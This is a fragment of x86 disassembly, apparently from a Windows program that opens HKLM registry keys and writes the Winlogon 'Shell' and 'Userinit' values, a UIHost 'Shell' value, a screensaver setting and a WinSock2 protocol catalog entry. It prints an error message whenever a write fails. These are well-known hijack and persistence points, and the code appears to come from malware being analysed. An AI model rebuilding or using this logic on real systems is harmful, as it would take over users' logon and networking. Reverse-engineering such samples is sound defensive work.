call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.SCRNSAVE.EXE
push edx
call edi
test eax, eax
je 0x403c3c
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_screensaver__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call esi
test eax, eax
je 0x403c8f
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_shell__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.Shell
push edx
call edi
test eax, eax
je 0x403cd6
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_shell__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonUIHost
push 0x80000002
call esi
test eax, eax
je 0x403d29
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_UIHost__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.Shell
push edx
call edi
test eax, eax
je 0x403d70
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_UIHost__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call esi
test eax, eax
je 0x403dc3
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_UserInit__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.Userinit
push edx
call edi
test eax, eax
je 0x403e0a
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_UserInit__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetServicesWinSock2ParamatersProtocol_Catelog9
push 0x80000002
call esi
test eax, eax
je 0x403e5d
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_winsock__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x403ea4
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_winsock__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret